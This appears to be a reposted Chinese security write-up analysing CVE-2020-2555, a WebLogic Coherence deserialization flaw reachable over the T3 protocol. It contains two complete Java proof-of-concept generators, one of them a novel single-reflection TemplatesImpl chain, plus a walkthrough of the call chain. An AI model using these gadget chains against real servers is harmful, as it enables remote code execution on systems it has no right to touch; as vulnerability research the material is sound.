CVE-2020-2555調用鏈復現分析


本文首發於先知社區:https://xz.aliyun.com/t/7417

0x01前言

  該洞主要針對weblogic的coherence.jar中存在能夠實現反序列化gadget構造的類,並且經過T3協議接收的數據經過反序列化處理后將導致漏洞的產生,這篇文章主要詳細記錄調試學習CVE-2020-2555的過程,並分享一個區別於公開poc的利用TemplateImpl類實現單次反射進行rce的例子。

0x02通信過程

網上公布的poc如下:

package T3;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;

import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class exp {
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException {
        String cmd = "calc";
        //定義多次轉換鏈進行反射調用
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                new ReflectionExtractor("getMethod", new Object[]{
                        "getRuntime", new Class[0]
                }),
                new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
                new ReflectionExtractor("exec", new Object[]{new String[]{"cmd", "/c", cmd}})
    };
        //初始化LimitFiler類實例
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setTopAnchor(Runtime.class);
        BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, Runtime.class);
        //將limitFilter放入BadAttributeValueExpException的val屬性中
        Field val = expException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(expException, limitFilter);
        //生成序列化payload
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/javasec-weblogic/src/main/resources/poc.ser"));
        objectOutputStream.writeObject(expException);
        objectOutputStream.close();
    }
}

本地測試環境為weblogic版本為12.1.3.0.0+jdk1.8.0,運行weblogic_t3.py通過t3協議發送序列化的payload
image.png
在idea中添加調試需要的jar包后,直接找到LimitFilter的tostring方法,並下斷點再次發送poc即可,此時wireshark抓包也可看到具體的通信數據
image.png
image.png
其中weblogic_t3.py中先向weblogic發送了T3協議頭的數據包,然后再讀取序列化數據進行發送。那么在數據中查找序列化的魔術頭部ac ed 00 05 可以發現出現多處,首先說明weblogic的t3協議輸出序列化數據用的是jre的原生ObjectOutputStream,和IIOP協議是不同的,並且實際上exp實際上發送了多個部分的序列化數據,其中多段序列化數據以fe 01 00 00 隔開,從數據包中可看到我們的序列化payload實際上是作為第一段反序列化數據插入其中,插入其他位置也可以,具體可以參考修復weblogic的JAVA反序列化漏洞的多種方法,這篇文章關於如何構造weblogic序列化數據也說得非常詳細。
image.png

0x03調用鏈分析

首先調用ServerChannelInputStream(其父類為ObjectInputStream)的構造方法將MsgAbbrevInputStream轉為ObjectInputStream,接着再調用readObject即為調用jre原生的反序列化的ObjectInputStream.readObject()
image.png
image.png
那么很顯然接下來將一路走到BadAttributeValueExpException的readObject方法,那么在ysoserial的CommonsCollections5的gadget最外層的入口即為該類,該類的readObject函數中在security manager為null的情況下將調用該類val成員屬性的tostring方法,那么在該漏洞中就到了weblogic的coherence.jar包的com/tangosol/util/filter/LimitFilter類,也就是之前下的斷點處
image.png
那么在該漏洞中就到了weblogic的coherence.jar包的com/tangosol/util/filter/LimitFilter類,也就是之前下的斷點處
image.png
那么接下來將獲取到該類的m_comparator成員屬性,並調用其extract函數,因為反序列化數據是可控的,因此這里this.m_oAnchorTop成員屬性也為可控
image.png
網上公開的poc中說的都是這里用到的為ChainedExtractor
image.png
其extract方法和ysoserial中的ChainedTransformer的transform方法有着相似之處,chained從字面意思上來理解就是其肯定存在一個為數組類型的成員屬性保存一組Extractor來依次調用其extract函數,並將調用結果返回
image.png
那么轉換鏈又是通過調用getExtractors()方法得到,該屬性即為m_aExtractor屬性,其可控
image.png
那么在poc中chainedExtractor中存放的為coherence.jar中的com/tangosol/util/extractor/ReflectionExtractor類的實例
image.png
從類名字的就可以隱約猜出該類應該和java的反射機制相關,其extract函數中也正是實現了任意方法的調用,其中方法名this.m_sMethod和對應的參數值this.m_aoParam都是可控的
image.png
那么在poc中第一次傳入的class類型的java.lang.Runtime
image.png
那么和CommonsCollections1中用到的transfrom函數作用相似,因為這里this.m_methodPrev為null,因此調用this.getMethodName()返回this.m_sMethod存儲的方法(即為getMethod),所以第一步反射調用Runtime類的getmethod方法返回Method類型的getruntime方法
image.png
那么在反射調用時因為已經有了Method類型的getruntime方法,那么只需再反射調用invoke函數即可返回Runtime類的實例,那么此時this.m_sMethod的存儲即為invoke函數
image.png
那么第三次進入extract函數只需反射調用Runtime實例的exec方法就可以執行命令了,那么此時this.m_sMethod存儲的即為exec,那么調用鏈至此已經結束了
image.png
image.png

0x04單次反射rce鏈

poc2:

package T3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javassist.*;
import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;


public class exp {
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, NotFoundException, CannotCompileException, ClassNotFoundException {
        //初始化TemplatesImpl實例
        TemplatesImpl temp = new TemplatesImpl();
        ClassPool pool =  ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(payload.class));
        CtClass payload = pool.get(T3.payload.class.getName());
        byte[] PayByte = payload.toBytecode();
        //將payload字節碼放入_bytecodes屬性
        Class clz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Field ByteCode = clz.getDeclaredField("_bytecodes");
        ByteCode.setAccessible(true);
        ByteCode.set(temp,new byte[][]{PayByte});
        //_name不為空即可
        Field name = clz.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(temp,"tr1ple");

        String cmd = "calc";
        //定義單次反射要調用的方法
        ValueExtractor valueExtractor = new ReflectionExtractor("getOutputProperties", new Object[0]);
        //構造LimitFilter實例,並將temp放入
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setTopAnchor(temp);
        BadAttributeValueExpException expException = new BadAttributeValueExpException(null);

        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, valueExtractor);

        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, temp);

        Field val = expException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(expException, limitFilter);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/javasec-weblogic/src/main/resources/poc.ser"));
        objectOutputStream.writeObject(expException);
        objectOutputStream.close();
    }
}

該poc構造起來也比較容易,既然extrat方法可以反射調用任意方法,並且extract入口參數也是可控的,因此可以改造一下現有的chained轉換鏈,結合TemplatesImpl這個類,該類是jdk的內置類,在打fastjson和ysoserial的gadget構造中都用到過,該類的有兩個方法getOutputProperties和newTransformer都可以觸發實例化其成員屬性的_bytecodes中存儲的字節碼以便於實現rce,那么經過改造后我們不再需要chainedExtractor的多次反射,只需要ReflectionExtractor進行一次反射即可
image.png

參考


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM